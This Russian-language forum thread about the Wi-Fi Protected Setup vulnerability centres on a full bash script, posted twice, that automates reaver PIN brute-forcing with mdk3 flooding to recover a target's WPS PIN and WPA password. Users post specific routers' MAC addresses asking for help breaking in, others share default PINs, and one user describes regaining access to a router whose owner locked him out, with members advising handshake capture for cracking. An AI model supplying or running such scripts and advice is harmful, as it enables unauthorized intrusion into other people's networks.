Уязвимость в протоколе Wi-Fi Protected Setup

grek-6630 · 19 Jan 2017

VladimirV said: ↑
Сам скрипт - http://rgho.st/6fbpBdPRn
Для быстрой и удачной работы нужен хороший сигнал.
В качестве параметра передается BSSID (12:34:56:78:90:AB) TpLink.sh 12:34:56:78:90:AB
Принцип работы:
1: Запускает reaver
2: Ждет ассоциации с точкой
3: Брутит пины 40 сек
4: Запуск Mdk3 на 6 сек
5 :Пауза 5 сек
6: Если пин не найден - повторяет с 1 по 6
7: Выводит пин и пас и ждет нажатия 'Ctrl+C'

Все файлы сохраняются в папке 'tmp' с файлом скрипта.BSSID в имени файла.
Code:
#!/bin/bash

BSSID=$1
WPSPIN=""
WPAPSK=""
Work_reaver=20                #Время работы reaver * 2
tmp_path=`dirname $0`/tmp/$BSSID
echo $tmp_path
echo "BSSID = $BSSID"
if [ "$1" == "" ]
    then
    echo "No BSSID"
    exit 1
    fi
#echo "" > "$tmp_path.txt"


trap 'echo "Wait exit reaver"; kill_reaver; exit 1' 2

kill_reaver (){
killall -s INT -w reaver;
}

run_MDK3 (){
echo [+] Mdk3 is working ...
gnome-terminal --geometry 10x10-1-1 --title='mdk3' -e "mdk3 mon0 a -a $BSSID -m"
sleep 6                            #Время работы Mdk3
killall mdk3 2> /dev/null
echo [+] Mdk3 finished, waiting ... Good time to interrupt script if you need [Ctrl+C]
sleep 5
}

wait_associated (){
Ass=""
while [ "$Ass" == "" ]
do
sleep 2
Ass=`grep "Associated with" "$tmp_path.txt"`
  if [ "$Ass" == "" ]
  then echo [-] not associated
  else echo $Ass
  fi
done

}

while [ "$WPSPIN" == "" ]
do
echo [+] reaver is working ...
echo "" > $tmp_path.txt
reaver -i mon0 -b $BSSID -n -v -L -s "$tmp_path.wpc" > "$tmp_path.txt" &
ReaverID=$!
disown $ReaverID

wait_associated

for (( counter=1; counter<$Work_reaver; counter++ ))
    do
     sleep 2
    if [ "$WPSPIN" == "" ]
        then
     WPSPIN=`grep "WPS PIN" "$tmp_path.txt"`
     WPAPSK=`grep "WPA PSK" "$tmp_path.txt"`
    else break
    fi
    done

TRYPIN=`grep "Trying pin" "$tmp_path.txt" | grep -oE "[[:digit:]]{8}"`

echo "Pins"
echo "$TRYPIN"

kill_reaver

# Run mdk3 to work ...
if [ "$WPSPIN" == "" ]
then run_MDK3
fi
done

echo "[+] Done..."
echo "$WPSPIN"
echo "$WPAPSK"
echo to interrupt script [Ctrl+C]
while true
do
sleep 3
done 
Click to expand...
Извините я новичок в этом деле, а как скрипт правильно запустить? Куда его поместить нужно?

binarymaster · 19 Jan 2017

grek-6630 said: ↑

Куда его поместить нужно?
Click to expand...

Куда угодно, но чтобы к нему при этом доступ из терминала был.

grek-6630 said: ↑

а как скрипт правильно запустить?
Click to expand...

Перейти в директорию со скриптом, дать права на исполнение, а затем запустить.
Code:
cd TpLink/
chmod +x TpLink.sh
./TpLink.sh

grek-6630 · 19 Jan 2017

binarymaster said: ↑
Куда угодно, но чтобы к нему при этом доступ из терминала был.

Перейти в директорию со скриптом, дать права на исполнение, а затем запустить.
Code:
cd TpLink/
chmod +x TpLink.sh
./TpLink.sh
Click to expand...
Этот скрипт для TpLink только или для любого роутэра? Которая мне нужна сетка ASUS ( роутэр ) , подойдет ли ?

binarymaster · 19 Jan 2017

grek-6630 said: ↑

Этот скрипт для TpLink только или для любого роутэра? Которая мне нужна сетка ASUS ( роутэр ) , подойдет ли ?
Click to expand...

В этой области нельзя ничего сказать заранее.

V777 · 21 Jan 2017

VladimirV said: ↑
Сам скрипт - http://rgho.st/6fbpBdPRn
Для быстрой и удачной работы нужен хороший сигнал.
В качестве параметра передается BSSID (12:34:56:78:90:AB) TpLink.sh 12:34:56:78:90:AB
Принцип работы:
1: Запускает reaver
2: Ждет ассоциации с точкой
3: Брутит пины 40 сек
4: Запуск Mdk3 на 6 сек
5 :Пауза 5 сек
6: Если пин не найден - повторяет с 1 по 6
7: Выводит пин и пас и ждет нажатия 'Ctrl+C'

Все файлы сохраняются в папке 'tmp' с файлом скрипта.BSSID в имени файла.
Code:
#!/bin/bash

BSSID=$1
WPSPIN=""
WPAPSK=""
Work_reaver=20                #Время работы reaver * 2
tmp_path=`dirname $0`/tmp/$BSSID
echo $tmp_path
echo "BSSID = $BSSID"
if [ "$1" == "" ]
    then
    echo "No BSSID"
    exit 1
    fi
#echo "" > "$tmp_path.txt"


trap 'echo "Wait exit reaver"; kill_reaver; exit 1' 2

kill_reaver (){
killall -s INT -w reaver;
}

run_MDK3 (){
echo [+] Mdk3 is working ...
gnome-terminal --geometry 10x10-1-1 --title='mdk3' -e "mdk3 mon0 a -a $BSSID -m"
sleep 6                            #Время работы Mdk3
killall mdk3 2> /dev/null
echo [+] Mdk3 finished, waiting ... Good time to interrupt script if you need [Ctrl+C]
sleep 5
}

wait_associated (){
Ass=""
while [ "$Ass" == "" ]
do
sleep 2
Ass=`grep "Associated with" "$tmp_path.txt"`
  if [ "$Ass" == "" ]
  then echo [-] not associated
  else echo $Ass
  fi
done

}

while [ "$WPSPIN" == "" ]
do
echo [+] reaver is working ...
echo "" > $tmp_path.txt
reaver -i mon0 -b $BSSID -n -v -L -s "$tmp_path.wpc" > "$tmp_path.txt" &
ReaverID=$!
disown $ReaverID

wait_associated

for (( counter=1; counter<$Work_reaver; counter++ ))
    do
     sleep 2
    if [ "$WPSPIN" == "" ]
        then
     WPSPIN=`grep "WPS PIN" "$tmp_path.txt"`
     WPAPSK=`grep "WPA PSK" "$tmp_path.txt"`
    else break
    fi
    done

TRYPIN=`grep "Trying pin" "$tmp_path.txt" | grep -oE "[[:digit:]]{8}"`

echo "Pins"
echo "$TRYPIN"

kill_reaver

# Run mdk3 to work ...
if [ "$WPSPIN" == "" ]
then run_MDK3
fi
done

echo "[+] Done..."
echo "$WPSPIN"
echo "$WPAPSK"
echo to interrupt script [Ctrl+C]
while true
do
sleep 3
done 
Click to expand...
Такие скрипты хорошо б в шапку ...
Теплинки тоже поддаются WPS атакам, вот сегодня пикси обработал за пару секунд.
TP-LINK Archer C2 -PIN 43981588 и пароль тот же.

Olegdn · 24 Jan 2017

Доброго времени! прошу помочь с подключением к:
Роутер: Asus Rt n10 lx
Мак: 54:04:A6:5C:30:9C

DSL2650NRU · 24 Jan 2017

Olegdn said: ↑

Доброго времени! прошу помочь с подключением к:
Роутер: Asus Rt n10 lx
Мак: 54:04:A6:5C:30:9C
Click to expand...

Асус-пин пробовали? 00286022
И статический - 73782575

ilya_mail · 24 Jan 2017

Добрый вечер есть данный мас 74:B5:7E:E3:99:04
Подписанный как UKrtelrcom_e39904
Pin locked
Как попробовать его взломать?

Vovan71 · 24 Jan 2017

То есть правильно я понял - волшебный скрипт работает с уже наглухо лоченой точкой? И она будучи лоченой - отвечает?!
Если так то прям ВАУ

ilya_mail · 25 Jan 2017

Vovan71 said: ↑

То есть правильно я понял - волшебный скрипт работает с уже наглухо лоченой точкой? И она будучи лоченой - отвечает?!
Если так то прям ВАУ
Click to expand...

Что мне предпринять пин я через телефон пробил 49158441

ilya_mail · 25 Jan 2017

ilya_mail said: ↑

Что мне предпринять пин я через телефон пробил 49158441
Click to expand...

Попробовал через утилиту qss но результата нет

Olegdn · 25 Jan 2017

DSL2650NRU said: ↑

Асус-пин пробовали? 00286022
И статический - 73782575
Click to expand...

спасибо, к сожалению, ни тот ни другой не подходят.

g-n0m_ru · 30 Jan 2017

Доброго времени суток!!!
Меня тут коснулась одна проблема .. есть некий роутер D-link dir-300nru , на него мне удалось получить WPS и пароль на Wifi и пароль на админку.
Но радость кончилась , т.к. хозяин роутера запретил WPS, сменил пасс на Wifi.... и сделал точку скрытой

Зная WPS pin как я могу залезать на него... пробовал знаменитый Скрипт https://github.com/r0bag/pentest/blob/master/ReVdK3-r3.sh..
Но точка не поддается...и проблема в том что ReVdK3 начинает с начала каждый раз перебор WPS.. где он хранит лог сессии ? чтобы я смог поставить нужный WPS PIN может он все же после длительного времени сможет пробиться ???

Или посоветуйте что нить как мне ломануться на точку...Подбор пароля по рукопожатиям не вариант зная способности хозяина точки ..
Жду советов!
Спасибо заранее..

user100 · 30 Jan 2017

g-n0m_ru said: ↑

Доброго времени суток!!!
Меня тут коснулась одна проблема .. есть некий роутер D-link dir-300nru , на него мне удалось получить WPS и пароль на Wifi и пароль на админку.
Но радость кончилась , т.к. хозяин роутера запретил WPS, сменил пасс на Wifi.... и сделал точку скрытой

Зная WPS pin как я могу залезать на него... пробовал знаменитый Скрипт https://github.com/r0bag/pentest/blob/master/ReVdK3-r3.sh..
Но точка не поддается...и проблема в том что ReVdK3 начинает с начала каждый раз перебор WPS.. где он хранит лог сессии ? чтобы я смог поставить нужный WPS PIN может он все же после длительного времени сможет пробиться ???

Или посоветуйте что нить как мне ломануться на точку...Подбор пароля по рукопожатиям не вариант зная способности хозяина точки ..
Жду советов!
Спасибо заранее..
Click to expand...

Вы сами ответили на свой вопрос: хозяин роутера запретил WPS, поэтому ReVdK3-r3 работать с этой точкой не будет. Ловите хендшейк и выкладывайте в тему подбора.

g-n0m_ru · 30 Jan 2017

Я конечно могу и ошибаться ,но ReVdK3-r3 и был задуман для случаев с WPS Locked.. аля залезать через задню дверь с помощью лома.

binarymaster · 30 Jan 2017

g-n0m_ru said: ↑

Я конечно могу и ошибаться ,но ReVdK3-r3 и был задуман для случаев с WPS Locked..
Click to expand...

WPS Locked - это когда WPS есть, но заблокирован. А когда его нет, то ничего нет: ни замка, ни WPS, ни входа по пину.

g-n0m_ru said: ↑

аля залезать через задню дверь с помощью лома.
Click to expand...

Двери теперь тоже нет. Хозяин проходит сквозь стену, нашёптывая секретное слово. Ваша задача - подслушать его, словив хендшейк.

g-n0m_ru · 30 Jan 2017

А вот оно что, то есть грубо говоря хозяин ставит на веб морде закрыть WPS на програмном уровне, а WPS весит в эфире, то в этом случае ReVdk сработает, а если кругом глухо и WPS не светит в эфире тогда меня ждут одни болты....

вроде я понял ...
Спасибо
печалько (

g-n0m_ru · 30 Jan 2017

binarymaster said: ↑

WPS Locked - это когда WPS есть, но заблокирован. А когда его нет, то ничего нет: ни замка, ни WPS, ни входа по пину.

Двери теперь тоже нет. Хозяин проходит сквозь стену, нашёптывая секретное слово. Ваша задача - подслушать его, словив хендшейк.
Click to expand...

Колдун прям )))
Проблема в том что последний его пароль был 11 значным числом, подбор пароля на ящике где скорость в среднем 50-60kH/s .. будет муторно.. да ладно бы чилса, а если хозяин пошел дальше и сунул туда еще и символы или буквы то тут хана..
по простым словарям я его прогнал..результат ноль , вот и взвешываю все за и против на долгий перебор )))

binarymaster · 30 Jan 2017

g-n0m_ru said: ↑

Проблема в том что последний его пароль был 11 значным числом
Click to expand...

А вы скидывайте новый хендшейк в любом случае, авось повезёт.

Всегда так делаю.

VasiliyP · 30 Jan 2017

g-n0m_ru said: ↑

Я конечно могу и ошибаться ,но ReVdK3-r3 и был задуман для случаев с WPS Locked
Click to expand...

Вы сначала написали "запретил WPS", потом "WPS Locked". Тут есть противоречие, предлагаю посмотреть вывод wash для уточнения.

Уязвимость в протоколе Wi-Fi Protected Setup

grek-6630 New Member

binarymaster Elder - Старейшина

grek-6630 New Member

binarymaster Elder - Старейшина

V777 Elder - Старейшина

Olegdn New Member

DSL2650NRU Well-Known Member

ilya_mail New Member

Vovan71 Member

ilya_mail New Member

ilya_mail New Member

Olegdn New Member

g-n0m_ru New Member

user100 Moderator

g-n0m_ru New Member

binarymaster Elder - Старейшина

g-n0m_ru New Member

g-n0m_ru New Member

binarymaster Elder - Старейшина

VasiliyP Elder - Старейшина

Useful Searches

Уязвимость в протоколе Wi-Fi Protected Setup

grek-6630 New Member

binarymaster Elder - Старейшина

grek-6630 New Member

binarymaster Elder - Старейшина

V777 Elder - Старейшина

Olegdn New Member

DSL2650NRU Well-Known Member

ilya_mail New Member

Vovan71 Member

ilya_mail New Member

ilya_mail New Member

Olegdn New Member

g-n0m_ru New Member

user100 Moderator

g-n0m_ru New Member

binarymaster Elder - Старейшина

g-n0m_ru New Member

g-n0m_ru New Member

binarymaster Elder - Старейшина

VasiliyP Elder - Старейшина